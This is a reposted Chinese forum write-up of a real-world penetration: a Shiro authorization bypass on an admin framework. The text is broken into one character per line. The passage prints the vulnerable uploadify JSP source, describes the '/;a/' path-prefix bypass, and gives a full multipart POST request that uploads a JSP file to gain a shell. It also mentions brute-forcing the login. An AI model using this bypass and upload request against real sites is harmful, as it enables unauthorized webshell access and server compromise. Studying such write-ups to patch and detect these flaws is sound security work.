论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
IOT
[28611] 2020-09-28_shiro权限绕过实战利用
文档创建者：
s7ckTeam
浏览次数：
4
最后更新：
2025-01-19
IOT
4 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-56
6万
主题
-6万
回帖
-56
积分
管理员
积分
-56
发消息
2020-09-28_shiro权限绕过实战利用
s
h
i
r
o
权
限
绕
过
实
战
利
用
B
u
g
h
u
n
t
e
r
O
t
s
安
全
2
0
2
0
-
0
9
-
2
8
转
先
知
社
区
转
先
知
社
区
作
者
：
作
者
：
B
u
g
h
u
n
t
e
r
0
x
0
1
S
h
i
r
o
反
序
列
化
命
令
执
行
？
反
序
列
化
命
令
执
行
？
日
常
挖
洞
，
b
u
r
p
s
u
i
t
e
插
件
s
h
i
r
o
告
警
用
S
h
i
r
o
E
x
p
l
o
i
t
的
d
n
s
l
o
g
方
式
和
静
态
文
件
回
显
方
式
都
没
检
测
出
来
。
t
o
m
c
a
t
的
回
显
也
是
不
行
。
0
x
0
2
任
意
文
件
上
传
？
任
意
文
件
上
传
？
这
个
站
打
开
是
个
登
录
框
抓
包
，
发
现
验
证
码
无
效
，
爆
破
一
顿
以
后
没
爆
出
来
。
注
意
到
这
个
框
架
叫
某
a
d
m
i
n
框
架
，
谷
歌
查
了
一
下
这
个
框
架
有
什
么
洞
，
发
现
一
篇
帖
子
。
说
存
在
此
文
件
p
l
u
g
i
n
s
/
u
p
l
o
a
d
i
f
y
/
u
p
l
o
a
d
F
i
l
e
.
j
s
p
且
此
文
件
存
在
任
意
文
件
上
传
<
%
@
p
a
g
e
l
a
n
g
u
a
g
e
=
"
j
a
v
a
"
c
o
n
t
e
n
t
T
y
p
e
=
"
t
e
x
t
/
h
t
m
l
;
c
h
a
r
s
e
t
=
U
T
F
-
8
"
p
a
g
e
E
n
c
o
d
i
n
g
=
"
U
T
F
-
8
"
%
>
<
%
@
p
a
g
e
i
m
p
o
r
t
=
"
j
a
v
a
.
i
o
.
*
,
j
a
v
a
.
u
t
i
l
.
*
,
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
f
i
l
e
u
p
l
o
a
d
.
*
,
j
a
v
a
.
u
t
i
l
.
*
"
%
>
<
%
@
p
a
g
e
i
m
p
o
r
t
=
"
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
f
i
l
e
u
p
l
o
a
d
.
d
i
s
k
.
*
,
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
f
i
l
e
u
p
l
o
a
d
.
s
e
r
v
l
e
t
.
*
"
%
>
<
%
!
p
u
b
l
i
c
v
o
i
d
u
p
l
o
a
d
(
H
t
t
p
S
e
r
v
l
e
t
R
e
q
u
e
s
t
r
e
q
u
e
s
t
,
H
t
t
p
S
e
r
v
l
e
t
R
e
s
p
o
n
s
e
r
e
s
p
o
n
s
e
)
t
h
r
o
w
s
S
e
r
v
l
e
t
E
x
c
e
p
t
i
o
n
,
I
O
E
x
c
e
p
t
i
o
n
{
S
t
r
i
n
g
s
a
v
e
P
a
t
h
=
t
h
i
s
.
g
e
t
S
e
r
v
l
e
t
C
o
n
f
i
g
(
)
.
g
e
t
S
e
r
v
l
e
t
C
o
n
t
e
x
t
(
)
.
g
e
t
R
e
a
l
P
a
t
h
(
"
"
)
;
s
a
v
e
P
a
t
h
=
s
a
v
e
P
a
t
h
+
r
e
q
u
e
s
t
.
g
e
t
P
a
r
a
m
e
t
e
r
(
"
u
p
l
o
a
d
P
a
t
h
"
)
;
F
i
l
e
f
1
=
n
e
w
F
i
l
e
(
s
a
v
e
P
a
t
h
)
;
/
/
这
里
接
收
了
u
p
l
o
a
d
P
a
t
h
的
值
S
y
s
t
e
m
.
o
u
t
.
p
r
i
n
t
l
n
(
r
e
q
u
e
s
t
.
g
e
t
P
a
r
a
m
e
t
e
r
(
"
u
p
l
o
a
d
P
a
t
h
"
)
)
;
i
f
(
!
f
1
.
e
x
i
s
t
s
(
)
)
{
f
1
.
m
k
d
i
r
s
(
)
;
}
D
i
s
k
F
i
l
e
I
t
e
m
F
a
c
t
o
r
y
f
a
c
=
n
e
w
D
i
s
k
F
i
l
e
I
t
e
m
F
a
c
t
o
r
y
(
)
;
S
e
r
v
l
e
t
F
i
l
e
U
p
l
o
a
d
u
p
l
o
a
d
=
n
e
w
S
e
r
v
l
e
t
F
i
l
e
U
p
l
o
a
d
(
f
a
c
)
;
u
p
l
o
a
d
.
s
e
t
H
e
a
d
e
r
E
n
c
o
d
i
n
g
(
"
u
t
f
-
8
"
)
;
L
i
s
t
f
i
l
e
L
i
s
t
=
n
u
l
l
;
t
r
y
{
f
i
l
e
L
i
s
t
=
u
p
l
o
a
d
.
p
a
r
s
e
R
e
q
u
e
s
t
(
r
e
q
u
e
s
t
)
;
}
c
a
t
c
h
(
F
i
l
e
U
p
l
o
a
d
E
x
c
e
p
t
i
o
n
e
x
)
{
r
e
t
u
r
n
;
}
S
t
r
i
n
g
f
i
l
e
N
m
a
e
=
r
e
q
u
e
s
t
.
g
e
t
P
a
r
a
m
e
t
e
r
(
"
f
i
l
e
N
m
a
e
"
)
;
I
t
e
r
a
t
o
r
<
F
i
l
e
I
t
e
m
>
i
t
=
f
i
l
e
L
i
s
t
.
i
t
e
r
a
t
o
r
(
)
;
S
t
r
i
n
g
n
a
m
e
=
"
"
;
S
t
r
i
n
g
e
x
t
N
a
m
e
=
"
"
;
w
h
i
l
e
(
i
t
.
h
a
s
N
e
x
t
(
)
)
{
F
i
l
e
I
t
e
m
i
t
e
m
=
i
t
.
n
e
x
t
(
)
;
i
f
(
!
i
t
e
m
.
i
s
F
o
r
m
F
i
e
l
d
(
)
)
{
n
a
m
e
=
i
t
e
m
.
g
e
t
N
a
m
e
(
)
;
l
o
n
g
s
i
z
e
=
i
t
e
m
.
g
e
t
S
i
z
e
(
)
;
S
t
r
i
n
g
t
y
p
e
=
i
t
e
m
.
g
e
t
C
o
n
t
e
n
t
T
y
p
e
(
)
;
/
/
S
y
s
t
e
m
.
o
u
t
.
p
r
i
n
t
l
n
(
s
i
z
e
+
"
"
+
t
y
p
e
)
;
i
f
(
n
a
m
e
=
=
n
u
l
l
|
|
n
a
m
e
.
t
r
i
m
(
)
.
e
q
u
a
l
s
(
"
"
)
)
{
c
o
n
t
i
n
u
e
;
尝
试
访
问
此
文
件
，
提
示
未
登
录
3
0
2
跳
转
想
到
这
个
站
用
了
s
h
i
r
o
虽
然
反
序
列
化
命
令
执
行
修
了
，
s
h
i
r
o
权
限
绕
过
可
能
没
修
。
具
体
可
以
看
这
篇
文
章
：
h
t
t
p
s
:
/
/
m
p
.
w
e
i
x
i
n
.
q
q
.
c
o
m
/
s
/
y
b
6
T
b
7
z
S
T
K
K
m
B
l
c
N
V
z
0
M
B
A
我
们
使
用
来
绕
过
s
h
i
r
o
的
权
限
控
制
，
可
以
注
意
到
状
态
码
为
2
0
0
c
o
n
t
i
n
u
e
;
}
/
/
扩
展
名
格
式
：
i
f
(
n
a
m
e
.
l
a
s
t
I
n
d
e
x
O
f
(
"
.
"
)
>
=
0
)
{
e
x
t
N
a
m
e
=
n
a
m
e
.
s
u
b
s
t
r
i
n
g
(
n
a
m
e
.
l
a
s
t
I
n
d
e
x
O
f
(
"
.
"
)
)
;
}
F
i
l
e
f
i
l
e
=
n
u
l
l
;
i
f
(
n
u
l
l
!
=
f
i
l
e
N
m
a
e
&
&
!
"
"
.
e
q
u
a
l
s
(
f
i
l
e
N
m
a
e
)
)
{
f
i
l
e
=
n
e
w
F
i
l
e
(
s
a
v
e
P
a
t
h
+
f
i
l
e
N
m
a
e
)
;
}
e
l
s
e
{
d
o
{
i
f
(
n
u
l
l
!
=
f
i
l
e
N
m
a
e
&
&
!
"
"
.
e
q
u
a
l
s
(
f
i
l
e
N
m
a
e
)
)
{
f
i
l
e
=
n
e
w
F
i
l
e
(
s
a
v
e
P
a
t
h
+
f
i
l
e
N
m
a
e
)
;
}
e
l
s
e
{
n
a
m
e
=
n
e
w
j
a
v
a
.
t
e
x
t
.
S
i
m
p
l
e
D
a
t
e
F
o
r
m
a
t
(
"
y
y
y
y
M
M
d
d
h
h
m
m
s
s
"
)
.
f
o
r
m
a
t
(
n
e
w
D
a
t
e
(
)
)
;
/
/
获
取
当
前
日
期
n
a
m
e
=
n
a
m
e
+
(
i
n
t
)
(
M
a
t
h
.
r
a
n
d
o
m
(
)
*
9
0
0
0
0
+
1
0
0
0
0
)
;
f
i
l
e
=
n
e
w
F
i
l
e
(
s
a
v
e
P
a
t
h
+
n
a
m
e
+
e
x
t
N
a
m
e
)
;
}
}
w
h
i
l
e
(
f
i
l
e
.
e
x
i
s
t
s
(
)
)
;
}
F
i
l
e
s
a
v
e
F
i
l
e
=
n
e
w
F
i
l
e
(
s
a
v
e
P
a
t
h
+
n
a
m
e
+
e
x
t
N
a
m
e
)
;
t
r
y
{
i
t
e
m
.
w
r
i
t
e
(
s
a
v
e
F
i
l
e
)
;
}
c
a
t
c
h
(
E
x
c
e
p
t
i
o
n
e
)
{
e
.
p
r
i
n
t
S
t
a
c
k
T
r
a
c
e
(
)
;
}
}
}
r
e
s
p
o
n
s
e
.
g
e
t
W
r
i
t
e
r
(
)
.
p
r
i
n
t
(
(
n
a
m
e
.
t
r
i
m
(
)
+
e
x
t
N
a
m
e
.
t
r
i
m
(
)
)
.
t
r
i
m
(
)
)
;
}
%
>
<
%
u
p
l
o
a
d
(
r
e
q
u
e
s
t
,
r
e
s
p
o
n
s
e
)
;
%
>
/
;
a
/
p
l
u
g
i
n
s
/
u
p
l
o
a
d
i
f
y
/
u
p
l
o
a
d
F
i
l
e
.
j
s
p
结
合
之
前
给
出
的
代
码
需
要
两
个
参
数
构
造
上
传
包
发
现
上
传
成
功
，
但
是
居
然
找
不
到
文
件
。
仔
细
看
了
一
下
才
知
道
r
e
q
u
e
s
t
.
g
e
t
P
a
r
a
m
e
t
e
r
(
"
u
p
l
o
a
d
P
a
t
h
"
)
;
解
析
不
了
m
u
l
t
i
p
a
r
t
里
的
参
数
，
再
次
构
造
上
传
包
P
O
S
T
/
;
a
/
p
l
u
g
i
n
s
/
u
p
l
o
a
d
i
f
y
/
u
p
l
o
a
d
F
i
l
e
.
j
s
p
?
u
p
l
o
a
d
P
a
t
h
=
/
p
l
u
g
i
n
s
/
u
p
l
o
a
d
i
f
y
/
H
T
T
P
/
1
.
1
C
o
n
t
e
n
t
-
T
y
p
e
:
m
u
l
t
i
p
a
r
t
/
f
o
r
m
-
d
a
t
a
;
b
o
u
n
d
a
r
y
=
-
-
-
-
W
e
b
K
i
t
F
o
r
m
B
o
u
n
d
a
r
y
Q
D
e
B
i
V
q
f
e
6
p
3
F
M
n
J
-
-
-
-
-
-
W
e
b
K
i
t
F
o
r
m
B
o
u
n
d
a
r
y
Q
D
e
B
i
V
q
f
e
6
p
3
F
M
n
J
C
o
n
t
e
n
t
-
D
i
s
p
o
s
i
t
i
o
n
:
f
o
r
m
-
d
a
t
a
;
n
a
m
e
=
"
i
m
g
F
i
l
e
"
;
f
i
l
e
n
a
m
e
=
"
2
2
0
4
2
4
9
.
j
s
p
"
C
o
n
t
e
n
t
-
T
y
p
e
:
i
m
a
g
e
/
j
p
e
g
t
e
s
t
-
-
-
-
-
-
W
e
b
K
i
t
F
o
r
m
B
o
u
n
d
a
r
y
Q
D
e
B
i
V
q
f
e
6
p
3
F
M
n
J
-
-
成
功
s
h
e
l
l
阅
读
原
文
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页
发表
IOT